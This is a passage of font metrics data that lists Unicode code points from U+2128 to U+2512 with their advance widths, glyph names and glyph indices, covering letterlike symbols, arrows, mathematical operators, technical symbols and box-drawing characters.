U 8488 ; WX 616 ; N uni2128 ; G 2760
U 8489 ; WX 338 ; N uni2129 ; G 2761
U 8490 ; WX 656 ; N uni212A ; G 2762
U 8491 ; WX 684 ; N uni212B ; G 2763
U 8492 ; WX 786 ; N uni212C ; G 2764
U 8493 ; WX 703 ; N uni212D ; G 2765
U 8494 ; WX 854 ; N estimated ; G 2766
U 8495 ; WX 592 ; N uni212F ; G 2767
U 8496 ; WX 605 ; N uni2130 ; G 2768
U 8497 ; WX 786 ; N uni2131 ; G 2769
U 8498 ; WX 575 ; N uni2132 ; G 2770
U 8499 ; WX 1069 ; N uni2133 ; G 2771
U 8500 ; WX 462 ; N uni2134 ; G 2772
U 8501 ; WX 745 ; N aleph ; G 2773
U 8502 ; WX 674 ; N uni2136 ; G 2774
U 8503 ; WX 466 ; N uni2137 ; G 2775
U 8504 ; WX 645 ; N uni2138 ; G 2776
U 8505 ; WX 380 ; N uni2139 ; G 2777
U 8506 ; WX 926 ; N uni213A ; G 2778
U 8507 ; WX 1157 ; N uni213B ; G 2779
U 8508 ; WX 702 ; N uni213C ; G 2780
U 8509 ; WX 728 ; N uni213D ; G 2781
U 8510 ; WX 654 ; N uni213E ; G 2782
U 8511 ; WX 849 ; N uni213F ; G 2783
U 8512 ; WX 811 ; N uni2140 ; G 2784
U 8513 ; WX 775 ; N uni2141 ; G 2785
U 8514 ; WX 557 ; N uni2142 ; G 2786
U 8515 ; WX 557 ; N uni2143 ; G 2787
U 8516 ; WX 611 ; N uni2144 ; G 2788
U 8517 ; WX 819 ; N uni2145 ; G 2789
U 8518 ; WX 708 ; N uni2146 ; G 2790
U 8519 ; WX 615 ; N uni2147 ; G 2791
U 8520 ; WX 351 ; N uni2148 ; G 2792
U 8521 ; WX 351 ; N uni2149 ; G 2793
U 8523 ; WX 780 ; N uni214B ; G 2794
U 8526 ; WX 526 ; N uni214E ; G 2795
U 8528 ; WX 969 ; N uni2150 ; G 2796
U 8529 ; WX 969 ; N uni2151 ; G 2797
U 8530 ; WX 1370 ; N uni2152 ; G 2798
U 8531 ; WX 969 ; N onethird ; G 2799
U 8532 ; WX 969 ; N twothirds ; G 2800
U 8533 ; WX 969 ; N uni2155 ; G 2801
U 8534 ; WX 969 ; N uni2156 ; G 2802
U 8535 ; WX 969 ; N uni2157 ; G 2803
U 8536 ; WX 969 ; N uni2158 ; G 2804
U 8537 ; WX 969 ; N uni2159 ; G 2805
U 8538 ; WX 969 ; N uni215A ; G 2806
U 8539 ; WX 969 ; N oneeighth ; G 2807
U 8540 ; WX 969 ; N threeeighths ; G 2808
U 8541 ; WX 969 ; N fiveeighths ; G 2809
U 8542 ; WX 969 ; N seveneighths ; G 2810
U 8543 ; WX 568 ; N uni215F ; G 2811
U 8544 ; WX 295 ; N uni2160 ; G 2812
U 8545 ; WX 492 ; N uni2161 ; G 2813
U 8546 ; WX 689 ; N uni2162 ; G 2814
U 8547 ; WX 923 ; N uni2163 ; G 2815
U 8548 ; WX 684 ; N uni2164 ; G 2816
U 8549 ; WX 922 ; N uni2165 ; G 2817
U 8550 ; WX 1120 ; N uni2166 ; G 2818
U 8551 ; WX 1317 ; N uni2167 ; G 2819
U 8552 ; WX 917 ; N uni2168 ; G 2820
U 8553 ; WX 685 ; N uni2169 ; G 2821
U 8554 ; WX 933 ; N uni216A ; G 2822
U 8555 ; WX 1131 ; N uni216B ; G 2823
U 8556 ; WX 557 ; N uni216C ; G 2824
U 8557 ; WX 698 ; N uni216D ; G 2825
U 8558 ; WX 770 ; N uni216E ; G 2826
U 8559 ; WX 863 ; N uni216F ; G 2827
U 8560 ; WX 278 ; N uni2170 ; G 2828
U 8561 ; WX 458 ; N uni2171 ; G 2829
U 8562 ; WX 637 ; N uni2172 ; G 2830
U 8563 ; WX 812 ; N uni2173 ; G 2831
U 8564 ; WX 592 ; N uni2174 ; G 2832
U 8565 ; WX 811 ; N uni2175 ; G 2833
U 8566 ; WX 991 ; N uni2176 ; G 2834
U 8567 ; WX 1170 ; N uni2177 ; G 2835
U 8568 ; WX 819 ; N uni2178 ; G 2836
U 8569 ; WX 592 ; N uni2179 ; G 2837
U 8570 ; WX 822 ; N uni217A ; G 2838
U 8571 ; WX 1002 ; N uni217B ; G 2839
U 8572 ; WX 278 ; N uni217C ; G 2840
U 8573 ; WX 550 ; N uni217D ; G 2841
U 8574 ; WX 635 ; N uni217E ; G 2842
U 8575 ; WX 974 ; N uni217F ; G 2843
U 8576 ; WX 1245 ; N uni2180 ; G 2844
U 8577 ; WX 770 ; N uni2181 ; G 2845
U 8578 ; WX 1245 ; N uni2182 ; G 2846
U 8579 ; WX 703 ; N uni2183 ; G 2847
U 8580 ; WX 549 ; N uni2184 ; G 2848
U 8581 ; WX 698 ; N uni2185 ; G 2849
U 8585 ; WX 969 ; N uni2189 ; G 2850
U 8592 ; WX 838 ; N arrowleft ; G 2851
U 8593 ; WX 838 ; N arrowup ; G 2852
U 8594 ; WX 838 ; N arrowright ; G 2853
U 8595 ; WX 838 ; N arrowdown ; G 2854
U 8596 ; WX 838 ; N arrowboth ; G 2855
U 8597 ; WX 838 ; N arrowupdn ; G 2856
U 8598 ; WX 838 ; N uni2196 ; G 2857
U 8599 ; WX 838 ; N uni2197 ; G 2858
U 8600 ; WX 838 ; N uni2198 ; G 2859
U 8601 ; WX 838 ; N uni2199 ; G 2860
U 8602 ; WX 838 ; N uni219A ; G 2861
U 8603 ; WX 838 ; N uni219B ; G 2862
U 8604 ; WX 838 ; N uni219C ; G 2863
U 8605 ; WX 838 ; N uni219D ; G 2864
U 8606 ; WX 838 ; N uni219E ; G 2865
U 8607 ; WX 838 ; N uni219F ; G 2866
U 8608 ; WX 838 ; N uni21A0 ; G 2867
U 8609 ; WX 838 ; N uni21A1 ; G 2868
U 8610 ; WX 838 ; N uni21A2 ; G 2869
U 8611 ; WX 838 ; N uni21A3 ; G 2870
U 8612 ; WX 838 ; N uni21A4 ; G 2871
U 8613 ; WX 838 ; N uni21A5 ; G 2872
U 8614 ; WX 838 ; N uni21A6 ; G 2873
U 8615 ; WX 838 ; N uni21A7 ; G 2874
U 8616 ; WX 838 ; N arrowupdnbse ; G 2875
U 8617 ; WX 838 ; N uni21A9 ; G 2876
U 8618 ; WX 838 ; N uni21AA ; G 2877
U 8619 ; WX 838 ; N uni21AB ; G 2878
U 8620 ; WX 838 ; N uni21AC ; G 2879
U 8621 ; WX 838 ; N uni21AD ; G 2880
U 8622 ; WX 838 ; N uni21AE ; G 2881
U 8623 ; WX 838 ; N uni21AF ; G 2882
U 8624 ; WX 838 ; N uni21B0 ; G 2883
U 8625 ; WX 838 ; N uni21B1 ; G 2884
U 8626 ; WX 838 ; N uni21B2 ; G 2885
U 8627 ; WX 838 ; N uni21B3 ; G 2886
U 8628 ; WX 838 ; N uni21B4 ; G 2887
U 8629 ; WX 838 ; N carriagereturn ; G 2888
U 8630 ; WX 838 ; N uni21B6 ; G 2889
U 8631 ; WX 838 ; N uni21B7 ; G 2890
U 8632 ; WX 838 ; N uni21B8 ; G 2891
U 8633 ; WX 838 ; N uni21B9 ; G 2892
U 8634 ; WX 838 ; N uni21BA ; G 2893
U 8635 ; WX 838 ; N uni21BB ; G 2894
U 8636 ; WX 838 ; N uni21BC ; G 2895
U 8637 ; WX 838 ; N uni21BD ; G 2896
U 8638 ; WX 838 ; N uni21BE ; G 2897
U 8639 ; WX 838 ; N uni21BF ; G 2898
U 8640 ; WX 838 ; N uni21C0 ; G 2899
U 8641 ; WX 838 ; N uni21C1 ; G 2900
U 8642 ; WX 838 ; N uni21C2 ; G 2901
U 8643 ; WX 838 ; N uni21C3 ; G 2902
U 8644 ; WX 838 ; N uni21C4 ; G 2903
U 8645 ; WX 838 ; N uni21C5 ; G 2904
U 8646 ; WX 838 ; N uni21C6 ; G 2905
U 8647 ; WX 838 ; N uni21C7 ; G 2906
U 8648 ; WX 838 ; N uni21C8 ; G 2907
U 8649 ; WX 838 ; N uni21C9 ; G 2908
U 8650 ; WX 838 ; N uni21CA ; G 2909
U 8651 ; WX 838 ; N uni21CB ; G 2910
U 8652 ; WX 838 ; N uni21CC ; G 2911
U 8653 ; WX 838 ; N uni21CD ; G 2912
U 8654 ; WX 838 ; N uni21CE ; G 2913
U 8655 ; WX 838 ; N uni21CF ; G 2914
U 8656 ; WX 838 ; N arrowdblleft ; G 2915
U 8657 ; WX 838 ; N arrowdblup ; G 2916
U 8658 ; WX 838 ; N arrowdblright ; G 2917
U 8659 ; WX 838 ; N arrowdbldown ; G 2918
U 8660 ; WX 838 ; N arrowdblboth ; G 2919
U 8661 ; WX 838 ; N uni21D5 ; G 2920
U 8662 ; WX 838 ; N uni21D6 ; G 2921
U 8663 ; WX 838 ; N uni21D7 ; G 2922
U 8664 ; WX 838 ; N uni21D8 ; G 2923
U 8665 ; WX 838 ; N uni21D9 ; G 2924
U 8666 ; WX 838 ; N uni21DA ; G 2925
U 8667 ; WX 838 ; N uni21DB ; G 2926
U 8668 ; WX 838 ; N uni21DC ; G 2927
U 8669 ; WX 838 ; N uni21DD ; G 2928
U 8670 ; WX 838 ; N uni21DE ; G 2929
U 8671 ; WX 838 ; N uni21DF ; G 2930
U 8672 ; WX 838 ; N uni21E0 ; G 2931
U 8673 ; WX 838 ; N uni21E1 ; G 2932
U 8674 ; WX 838 ; N uni21E2 ; G 2933
U 8675 ; WX 838 ; N uni21E3 ; G 2934
U 8676 ; WX 838 ; N uni21E4 ; G 2935
U 8677 ; WX 838 ; N uni21E5 ; G 2936
U 8678 ; WX 838 ; N uni21E6 ; G 2937
U 8679 ; WX 838 ; N uni21E7 ; G 2938
U 8680 ; WX 838 ; N uni21E8 ; G 2939
U 8681 ; WX 838 ; N uni21E9 ; G 2940
U 8682 ; WX 838 ; N uni21EA ; G 2941
U 8683 ; WX 838 ; N uni21EB ; G 2942
U 8684 ; WX 838 ; N uni21EC ; G 2943
U 8685 ; WX 838 ; N uni21ED ; G 2944
U 8686 ; WX 838 ; N uni21EE ; G 2945
U 8687 ; WX 838 ; N uni21EF ; G 2946
U 8688 ; WX 838 ; N uni21F0 ; G 2947
U 8689 ; WX 838 ; N uni21F1 ; G 2948
U 8690 ; WX 838 ; N uni21F2 ; G 2949
U 8691 ; WX 838 ; N uni21F3 ; G 2950
U 8692 ; WX 838 ; N uni21F4 ; G 2951
U 8693 ; WX 838 ; N uni21F5 ; G 2952
U 8694 ; WX 838 ; N uni21F6 ; G 2953
U 8695 ; WX 838 ; N uni21F7 ; G 2954
U 8696 ; WX 838 ; N uni21F8 ; G 2955
U 8697 ; WX 838 ; N uni21F9 ; G 2956
U 8698 ; WX 838 ; N uni21FA ; G 2957
U 8699 ; WX 838 ; N uni21FB ; G 2958
U 8700 ; WX 838 ; N uni21FC ; G 2959
U 8701 ; WX 838 ; N uni21FD ; G 2960
U 8702 ; WX 838 ; N uni21FE ; G 2961
U 8703 ; WX 838 ; N uni21FF ; G 2962
U 8704 ; WX 684 ; N universal ; G 2963
U 8705 ; WX 636 ; N uni2201 ; G 2964
U 8706 ; WX 517 ; N partialdiff ; G 2965
U 8707 ; WX 632 ; N existential ; G 2966
U 8708 ; WX 632 ; N uni2204 ; G 2967
U 8709 ; WX 871 ; N emptyset ; G 2968
U 8710 ; WX 669 ; N increment ; G 2969
U 8711 ; WX 669 ; N gradient ; G 2970
U 8712 ; WX 871 ; N element ; G 2971
U 8713 ; WX 871 ; N notelement ; G 2972
U 8714 ; WX 718 ; N uni220A ; G 2973
U 8715 ; WX 871 ; N suchthat ; G 2974
U 8716 ; WX 871 ; N uni220C ; G 2975
U 8717 ; WX 718 ; N uni220D ; G 2976
U 8718 ; WX 636 ; N uni220E ; G 2977
U 8719 ; WX 757 ; N product ; G 2978
U 8720 ; WX 757 ; N uni2210 ; G 2979
U 8721 ; WX 674 ; N summation ; G 2980
U 8722 ; WX 838 ; N minus ; G 2981
U 8723 ; WX 838 ; N uni2213 ; G 2982
U 8724 ; WX 838 ; N uni2214 ; G 2983
U 8725 ; WX 337 ; N uni2215 ; G 2984
U 8726 ; WX 637 ; N uni2216 ; G 2985
U 8727 ; WX 838 ; N asteriskmath ; G 2986
U 8728 ; WX 626 ; N uni2218 ; G 2987
U 8729 ; WX 626 ; N uni2219 ; G 2988
U 8730 ; WX 637 ; N radical ; G 2989
U 8731 ; WX 637 ; N uni221B ; G 2990
U 8732 ; WX 637 ; N uni221C ; G 2991
U 8733 ; WX 714 ; N proportional ; G 2992
U 8734 ; WX 833 ; N infinity ; G 2993
U 8735 ; WX 838 ; N orthogonal ; G 2994
U 8736 ; WX 896 ; N angle ; G 2995
U 8737 ; WX 896 ; N uni2221 ; G 2996
U 8738 ; WX 838 ; N uni2222 ; G 2997
U 8739 ; WX 500 ; N uni2223 ; G 2998
U 8740 ; WX 500 ; N uni2224 ; G 2999
U 8741 ; WX 500 ; N uni2225 ; G 3000
U 8742 ; WX 500 ; N uni2226 ; G 3001
U 8743 ; WX 732 ; N logicaland ; G 3002
U 8744 ; WX 732 ; N logicalor ; G 3003
U 8745 ; WX 732 ; N intersection ; G 3004
U 8746 ; WX 732 ; N union ; G 3005
U 8747 ; WX 521 ; N integral ; G 3006
U 8748 ; WX 789 ; N uni222C ; G 3007
U 8749 ; WX 1057 ; N uni222D ; G 3008
U 8750 ; WX 521 ; N uni222E ; G 3009
U 8751 ; WX 789 ; N uni222F ; G 3010
U 8752 ; WX 1057 ; N uni2230 ; G 3011
U 8753 ; WX 521 ; N uni2231 ; G 3012
U 8754 ; WX 521 ; N uni2232 ; G 3013
U 8755 ; WX 521 ; N uni2233 ; G 3014
U 8756 ; WX 636 ; N therefore ; G 3015
U 8757 ; WX 636 ; N uni2235 ; G 3016
U 8758 ; WX 260 ; N uni2236 ; G 3017
U 8759 ; WX 636 ; N uni2237 ; G 3018
U 8760 ; WX 838 ; N uni2238 ; G 3019
U 8761 ; WX 838 ; N uni2239 ; G 3020
U 8762 ; WX 838 ; N uni223A ; G 3021
U 8763 ; WX 838 ; N uni223B ; G 3022
U 8764 ; WX 838 ; N similar ; G 3023
U 8765 ; WX 838 ; N uni223D ; G 3024
U 8766 ; WX 838 ; N uni223E ; G 3025
U 8767 ; WX 838 ; N uni223F ; G 3026
U 8768 ; WX 375 ; N uni2240 ; G 3027
U 8769 ; WX 838 ; N uni2241 ; G 3028
U 8770 ; WX 838 ; N uni2242 ; G 3029
U 8771 ; WX 838 ; N uni2243 ; G 3030
U 8772 ; WX 838 ; N uni2244 ; G 3031
U 8773 ; WX 838 ; N congruent ; G 3032
U 8774 ; WX 838 ; N uni2246 ; G 3033
U 8775 ; WX 838 ; N uni2247 ; G 3034
U 8776 ; WX 838 ; N approxequal ; G 3035
U 8777 ; WX 838 ; N uni2249 ; G 3036
U 8778 ; WX 838 ; N uni224A ; G 3037
U 8779 ; WX 838 ; N uni224B ; G 3038
U 8780 ; WX 838 ; N uni224C ; G 3039
U 8781 ; WX 838 ; N uni224D ; G 3040
U 8782 ; WX 838 ; N uni224E ; G 3041
U 8783 ; WX 838 ; N uni224F ; G 3042
U 8784 ; WX 838 ; N uni2250 ; G 3043
U 8785 ; WX 838 ; N uni2251 ; G 3044
U 8786 ; WX 838 ; N uni2252 ; G 3045
U 8787 ; WX 838 ; N uni2253 ; G 3046
U 8788 ; WX 1000 ; N uni2254 ; G 3047
U 8789 ; WX 1000 ; N uni2255 ; G 3048
U 8790 ; WX 838 ; N uni2256 ; G 3049
U 8791 ; WX 838 ; N uni2257 ; G 3050
U 8792 ; WX 838 ; N uni2258 ; G 3051
U 8793 ; WX 838 ; N uni2259 ; G 3052
U 8794 ; WX 838 ; N uni225A ; G 3053
U 8795 ; WX 838 ; N uni225B ; G 3054
U 8796 ; WX 838 ; N uni225C ; G 3055
U 8797 ; WX 838 ; N uni225D ; G 3056
U 8798 ; WX 838 ; N uni225E ; G 3057
U 8799 ; WX 838 ; N uni225F ; G 3058
U 8800 ; WX 838 ; N notequal ; G 3059
U 8801 ; WX 838 ; N equivalence ; G 3060
U 8802 ; WX 838 ; N uni2262 ; G 3061
U 8803 ; WX 838 ; N uni2263 ; G 3062
U 8804 ; WX 838 ; N lessequal ; G 3063
U 8805 ; WX 838 ; N greaterequal ; G 3064
U 8806 ; WX 838 ; N uni2266 ; G 3065
U 8807 ; WX 838 ; N uni2267 ; G 3066
U 8808 ; WX 838 ; N uni2268 ; G 3067
U 8809 ; WX 838 ; N uni2269 ; G 3068
U 8810 ; WX 1047 ; N uni226A ; G 3069
U 8811 ; WX 1047 ; N uni226B ; G 3070
U 8812 ; WX 464 ; N uni226C ; G 3071
U 8813 ; WX 838 ; N uni226D ; G 3072
U 8814 ; WX 838 ; N uni226E ; G 3073
U 8815 ; WX 838 ; N uni226F ; G 3074
U 8816 ; WX 838 ; N uni2270 ; G 3075
U 8817 ; WX 838 ; N uni2271 ; G 3076
U 8818 ; WX 838 ; N uni2272 ; G 3077
U 8819 ; WX 838 ; N uni2273 ; G 3078
U 8820 ; WX 838 ; N uni2274 ; G 3079
U 8821 ; WX 838 ; N uni2275 ; G 3080
U 8822 ; WX 838 ; N uni2276 ; G 3081
U 8823 ; WX 838 ; N uni2277 ; G 3082
U 8824 ; WX 838 ; N uni2278 ; G 3083
U 8825 ; WX 838 ; N uni2279 ; G 3084
U 8826 ; WX 838 ; N uni227A ; G 3085
U 8827 ; WX 838 ; N uni227B ; G 3086
U 8828 ; WX 838 ; N uni227C ; G 3087
U 8829 ; WX 838 ; N uni227D ; G 3088
U 8830 ; WX 838 ; N uni227E ; G 3089
U 8831 ; WX 838 ; N uni227F ; G 3090
U 8832 ; WX 838 ; N uni2280 ; G 3091
U 8833 ; WX 838 ; N uni2281 ; G 3092
U 8834 ; WX 838 ; N propersubset ; G 3093
U 8835 ; WX 838 ; N propersuperset ; G 3094
U 8836 ; WX 838 ; N notsubset ; G 3095
U 8837 ; WX 838 ; N uni2285 ; G 3096
U 8838 ; WX 838 ; N reflexsubset ; G 3097
U 8839 ; WX 838 ; N reflexsuperset ; G 3098
U 8840 ; WX 838 ; N uni2288 ; G 3099
U 8841 ; WX 838 ; N uni2289 ; G 3100
U 8842 ; WX 838 ; N uni228A ; G 3101
U 8843 ; WX 838 ; N uni228B ; G 3102
U 8844 ; WX 732 ; N uni228C ; G 3103
U 8845 ; WX 732 ; N uni228D ; G 3104
U 8846 ; WX 732 ; N uni228E ; G 3105
U 8847 ; WX 838 ; N uni228F ; G 3106
U 8848 ; WX 838 ; N uni2290 ; G 3107
U 8849 ; WX 838 ; N uni2291 ; G 3108
U 8850 ; WX 838 ; N uni2292 ; G 3109
U 8851 ; WX 780 ; N uni2293 ; G 3110
U 8852 ; WX 780 ; N uni2294 ; G 3111
U 8853 ; WX 838 ; N circleplus ; G 3112
U 8854 ; WX 838 ; N uni2296 ; G 3113
U 8855 ; WX 838 ; N circlemultiply ; G 3114
U 8856 ; WX 838 ; N uni2298 ; G 3115
U 8857 ; WX 838 ; N uni2299 ; G 3116
U 8858 ; WX 838 ; N uni229A ; G 3117
U 8859 ; WX 838 ; N uni229B ; G 3118
U 8860 ; WX 838 ; N uni229C ; G 3119
U 8861 ; WX 838 ; N uni229D ; G 3120
U 8862 ; WX 838 ; N uni229E ; G 3121
U 8863 ; WX 838 ; N uni229F ; G 3122
U 8864 ; WX 838 ; N uni22A0 ; G 3123
U 8865 ; WX 838 ; N uni22A1 ; G 3124
U 8866 ; WX 871 ; N uni22A2 ; G 3125
U 8867 ; WX 871 ; N uni22A3 ; G 3126
U 8868 ; WX 871 ; N uni22A4 ; G 3127
U 8869 ; WX 871 ; N perpendicular ; G 3128
U 8870 ; WX 521 ; N uni22A6 ; G 3129
U 8871 ; WX 521 ; N uni22A7 ; G 3130
U 8872 ; WX 871 ; N uni22A8 ; G 3131
U 8873 ; WX 871 ; N uni22A9 ; G 3132
U 8874 ; WX 871 ; N uni22AA ; G 3133
U 8875 ; WX 871 ; N uni22AB ; G 3134
U 8876 ; WX 871 ; N uni22AC ; G 3135
U 8877 ; WX 871 ; N uni22AD ; G 3136
U 8878 ; WX 871 ; N uni22AE ; G 3137
U 8879 ; WX 871 ; N uni22AF ; G 3138
U 8880 ; WX 838 ; N uni22B0 ; G 3139
U 8881 ; WX 838 ; N uni22B1 ; G 3140
U 8882 ; WX 838 ; N uni22B2 ; G 3141
U 8883 ; WX 838 ; N uni22B3 ; G 3142
U 8884 ; WX 838 ; N uni22B4 ; G 3143
U 8885 ; WX 838 ; N uni22B5 ; G 3144
U 8886 ; WX 1000 ; N uni22B6 ; G 3145
U 8887 ; WX 1000 ; N uni22B7 ; G 3146
U 8888 ; WX 838 ; N uni22B8 ; G 3147
U 8889 ; WX 838 ; N uni22B9 ; G 3148
U 8890 ; WX 521 ; N uni22BA ; G 3149
U 8891 ; WX 732 ; N uni22BB ; G 3150
U 8892 ; WX 732 ; N uni22BC ; G 3151
U 8893 ; WX 732 ; N uni22BD ; G 3152
U 8894 ; WX 838 ; N uni22BE ; G 3153
U 8895 ; WX 838 ; N uni22BF ; G 3154
U 8896 ; WX 820 ; N uni22C0 ; G 3155
U 8897 ; WX 820 ; N uni22C1 ; G 3156
U 8898 ; WX 820 ; N uni22C2 ; G 3157
U 8899 ; WX 820 ; N uni22C3 ; G 3158
U 8900 ; WX 626 ; N uni22C4 ; G 3159
U 8901 ; WX 318 ; N dotmath ; G 3160
U 8902 ; WX 626 ; N uni22C6 ; G 3161
U 8903 ; WX 838 ; N uni22C7 ; G 3162
U 8904 ; WX 1000 ; N uni22C8 ; G 3163
U 8905 ; WX 1000 ; N uni22C9 ; G 3164
U 8906 ; WX 1000 ; N uni22CA ; G 3165
U 8907 ; WX 1000 ; N uni22CB ; G 3166
U 8908 ; WX 1000 ; N uni22CC ; G 3167
U 8909 ; WX 838 ; N uni22CD ; G 3168
U 8910 ; WX 732 ; N uni22CE ; G 3169
U 8911 ; WX 732 ; N uni22CF ; G 3170
U 8912 ; WX 838 ; N uni22D0 ; G 3171
U 8913 ; WX 838 ; N uni22D1 ; G 3172
U 8914 ; WX 838 ; N uni22D2 ; G 3173
U 8915 ; WX 838 ; N uni22D3 ; G 3174
U 8916 ; WX 838 ; N uni22D4 ; G 3175
U 8917 ; WX 838 ; N uni22D5 ; G 3176
U 8918 ; WX 838 ; N uni22D6 ; G 3177
U 8919 ; WX 838 ; N uni22D7 ; G 3178
U 8920 ; WX 1422 ; N uni22D8 ; G 3179
U 8921 ; WX 1422 ; N uni22D9 ; G 3180
U 8922 ; WX 838 ; N uni22DA ; G 3181
U 8923 ; WX 838 ; N uni22DB ; G 3182
U 8924 ; WX 838 ; N uni22DC ; G 3183
U 8925 ; WX 838 ; N uni22DD ; G 3184
U 8926 ; WX 838 ; N uni22DE ; G 3185
U 8927 ; WX 838 ; N uni22DF ; G 3186
U 8928 ; WX 838 ; N uni22E0 ; G 3187
U 8929 ; WX 838 ; N uni22E1 ; G 3188
U 8930 ; WX 838 ; N uni22E2 ; G 3189
U 8931 ; WX 838 ; N uni22E3 ; G 3190
U 8932 ; WX 838 ; N uni22E4 ; G 3191
U 8933 ; WX 838 ; N uni22E5 ; G 3192
U 8934 ; WX 838 ; N uni22E6 ; G 3193
U 8935 ; WX 838 ; N uni22E7 ; G 3194
U 8936 ; WX 838 ; N uni22E8 ; G 3195
U 8937 ; WX 838 ; N uni22E9 ; G 3196
U 8938 ; WX 838 ; N uni22EA ; G 3197
U 8939 ; WX 838 ; N uni22EB ; G 3198
U 8940 ; WX 838 ; N uni22EC ; G 3199
U 8941 ; WX 838 ; N uni22ED ; G 3200
U 8942 ; WX 1000 ; N uni22EE ; G 3201
U 8943 ; WX 1000 ; N uni22EF ; G 3202
U 8944 ; WX 1000 ; N uni22F0 ; G 3203
U 8945 ; WX 1000 ; N uni22F1 ; G 3204
U 8946 ; WX 1000 ; N uni22F2 ; G 3205
U 8947 ; WX 871 ; N uni22F3 ; G 3206
U 8948 ; WX 718 ; N uni22F4 ; G 3207
U 8949 ; WX 871 ; N uni22F5 ; G 3208
U 8950 ; WX 871 ; N uni22F6 ; G 3209
U 8951 ; WX 718 ; N uni22F7 ; G 3210
U 8952 ; WX 871 ; N uni22F8 ; G 3211
U 8953 ; WX 871 ; N uni22F9 ; G 3212
U 8954 ; WX 1000 ; N uni22FA ; G 3213
U 8955 ; WX 871 ; N uni22FB ; G 3214
U 8956 ; WX 718 ; N uni22FC ; G 3215
U 8957 ; WX 871 ; N uni22FD ; G 3216
U 8958 ; WX 718 ; N uni22FE ; G 3217
U 8959 ; WX 871 ; N uni22FF ; G 3218
U 8960 ; WX 602 ; N uni2300 ; G 3219
U 8961 ; WX 602 ; N uni2301 ; G 3220
U 8962 ; WX 635 ; N house ; G 3221
U 8963 ; WX 838 ; N uni2303 ; G 3222
U 8964 ; WX 838 ; N uni2304 ; G 3223
U 8965 ; WX 838 ; N uni2305 ; G 3224
U 8966 ; WX 838 ; N uni2306 ; G 3225
U 8967 ; WX 488 ; N uni2307 ; G 3226
U 8968 ; WX 390 ; N uni2308 ; G 3227
U 8969 ; WX 390 ; N uni2309 ; G 3228
U 8970 ; WX 390 ; N uni230A ; G 3229
U 8971 ; WX 390 ; N uni230B ; G 3230
U 8972 ; WX 809 ; N uni230C ; G 3231
U 8973 ; WX 809 ; N uni230D ; G 3232
U 8974 ; WX 809 ; N uni230E ; G 3233
U 8975 ; WX 809 ; N uni230F ; G 3234
U 8976 ; WX 838 ; N revlogicalnot ; G 3235
U 8977 ; WX 513 ; N uni2311 ; G 3236
U 8984 ; WX 1000 ; N uni2318 ; G 3237
U 8985 ; WX 838 ; N uni2319 ; G 3238
U 8988 ; WX 469 ; N uni231C ; G 3239
U 8989 ; WX 469 ; N uni231D ; G 3240
U 8990 ; WX 469 ; N uni231E ; G 3241
U 8991 ; WX 469 ; N uni231F ; G 3242
U 8992 ; WX 521 ; N integraltp ; G 3243
U 8993 ; WX 521 ; N integralbt ; G 3244
U 8996 ; WX 1152 ; N uni2324 ; G 3245
U 8997 ; WX 1152 ; N uni2325 ; G 3246
U 8998 ; WX 1414 ; N uni2326 ; G 3247
U 8999 ; WX 1152 ; N uni2327 ; G 3248
U 9000 ; WX 1443 ; N uni2328 ; G 3249
U 9003 ; WX 1414 ; N uni232B ; G 3250
U 9004 ; WX 873 ; N uni232C ; G 3251
U 9075 ; WX 338 ; N uni2373 ; G 3252
U 9076 ; WX 635 ; N uni2374 ; G 3253
U 9077 ; WX 837 ; N uni2375 ; G 3254
U 9082 ; WX 659 ; N uni237A ; G 3255
U 9085 ; WX 757 ; N uni237D ; G 3256
U 9095 ; WX 1152 ; N uni2387 ; G 3257
U 9108 ; WX 873 ; N uni2394 ; G 3258
U 9115 ; WX 500 ; N uni239B ; G 3259
U 9116 ; WX 500 ; N uni239C ; G 3260
U 9117 ; WX 500 ; N uni239D ; G 3261
U 9118 ; WX 500 ; N uni239E ; G 3262
U 9119 ; WX 500 ; N uni239F ; G 3263
U 9120 ; WX 500 ; N uni23A0 ; G 3264
U 9121 ; WX 500 ; N uni23A1 ; G 3265
U 9122 ; WX 500 ; N uni23A2 ; G 3266
U 9123 ; WX 500 ; N uni23A3 ; G 3267
U 9124 ; WX 500 ; N uni23A4 ; G 3268
U 9125 ; WX 500 ; N uni23A5 ; G 3269
U 9126 ; WX 500 ; N uni23A6 ; G 3270
U 9127 ; WX 750 ; N uni23A7 ; G 3271
U 9128 ; WX 750 ; N uni23A8 ; G 3272
U 9129 ; WX 750 ; N uni23A9 ; G 3273
U 9130 ; WX 750 ; N uni23AA ; G 3274
U 9131 ; WX 750 ; N uni23AB ; G 3275
U 9132 ; WX 750 ; N uni23AC ; G 3276
U 9133 ; WX 750 ; N uni23AD ; G 3277
U 9134 ; WX 521 ; N uni23AE ; G 3278
U 9166 ; WX 838 ; N uni23CE ; G 3279
U 9167 ; WX 945 ; N uni23CF ; G 3280
U 9187 ; WX 873 ; N uni23E3 ; G 3281
U 9189 ; WX 769 ; N uni23E5 ; G 3282
U 9192 ; WX 636 ; N uni23E8 ; G 3283
U 9250 ; WX 635 ; N uni2422 ; G 3284
U 9251 ; WX 635 ; N uni2423 ; G 3285
U 9312 ; WX 896 ; N uni2460 ; G 3286
U 9313 ; WX 896 ; N uni2461 ; G 3287
U 9314 ; WX 896 ; N uni2462 ; G 3288
U 9315 ; WX 896 ; N uni2463 ; G 3289
U 9316 ; WX 896 ; N uni2464 ; G 3290
U 9317 ; WX 896 ; N uni2465 ; G 3291
U 9318 ; WX 896 ; N uni2466 ; G 3292
U 9319 ; WX 896 ; N uni2467 ; G 3293
U 9320 ; WX 896 ; N uni2468 ; G 3294
U 9321 ; WX 896 ; N uni2469 ; G 3295
U 9472 ; WX 602 ; N SF100000 ; G 3296
U 9473 ; WX 602 ; N uni2501 ; G 3297
U 9474 ; WX 602 ; N SF110000 ; G 3298
U 9475 ; WX 602 ; N uni2503 ; G 3299
U 9476 ; WX 602 ; N uni2504 ; G 3300
U 9477 ; WX 602 ; N uni2505 ; G 3301
U 9478 ; WX 602 ; N uni2506 ; G 3302
U 9479 ; WX 602 ; N uni2507 ; G 3303
U 9480 ; WX 602 ; N uni2508 ; G 3304
U 9481 ; WX 602 ; N uni2509 ; G 3305
U 9482 ; WX 602 ; N uni250A ; G 3306
U 9483 ; WX 602 ; N uni250B ; G 3307
U 9484 ; WX 602 ; N SF010000 ; G 3308
U 9485 ; WX 602 ; N uni250D ; G 3309
U 9486 ; WX 602 ; N uni250E ; G 3310
U 9487 ; WX 602 ; N uni250F ; G 3311
U 9488 ; WX 602 ; N SF030000 ; G 3312
U 9489 ; WX 602 ; N uni2511 ; G 3313
U 9490 ; WX 602 ; N uni2512 ; G 3314
